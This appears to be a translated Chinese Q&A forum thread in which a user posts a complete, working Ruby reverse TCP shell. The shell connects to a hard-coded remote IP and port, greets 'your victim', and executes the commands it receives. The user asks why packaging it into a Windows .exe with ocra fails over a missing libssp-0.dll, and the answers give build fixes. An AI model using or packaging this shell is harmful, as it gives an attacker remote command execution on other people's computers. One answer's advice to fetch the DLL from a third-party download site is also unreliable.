0

我正在尝试用 ocra 编译一个用 ruby​​ 编写的简单反向 TCP shell。

代码非常简单:

#!/usr/bin/env ruby

require 'socket'
require 'open3'

#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"

#Tries to connect every 5 seconds
begin
    sock = TCPSocket.new "#{RHOST}","#{PORT}"
    sock.puts "You are connected to your victim" 
rescue
    puts "Retrying..."
    sleep 5
    retry
end

#Runs the commands you type and sends you back the stdout and stderr.
begin
    while line = sock.gets && line
        Open3.popen2e("#{line}") do | stdin, stdout_and_stderr | 
            IO.copy_stream(stdout_and_stderr, sock)
        end
    end
rescue
    retry
end

我用以下方式构建它:ocra RevShell.rb --verbose

我没有收到任何错误消息,但每当我尝试运行 .exe 时,我都会收到以下错误:“C:\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll not found”

我错过了什么吗?Ocra 应该自行检查所需的要求,将其添加到 exe 中,因为我仍然想念这个 dll。

谢谢你的帮助。

4

3 回答 3

1

使用--dll ruby_builtin_dlls\libssp-0.dll.

有关更多详细信息,请参阅https://github.com/larsch/ocra/issues/168

于 2020-12-05T07:46:17.623 回答
1

也许您没有安装 libssp-0.dll 文件。您可以从https://www.dll-files.com/libssp-0.dll.html下载它,然后将文件放在错误提示的位置。

于 2020-11-09T20:08:53.293 回答
0

我在使用 RubyInstaller 安装的 Ruby 2.6 和 2.7 (x64) 时遇到了同样的问题。

就我而言,libssp-0.dll 肯定存在于 ruby​​_builtin_dlls 目录中,但不知何故它没有包含在编译的 exe 中,而同一目录中的其他 dll 都包含在内。

暂时,我可以通过使用 (x86) 版本的 Ruby 2.7 来避免这个问题。

于 2020-11-25T00:13:41.580 回答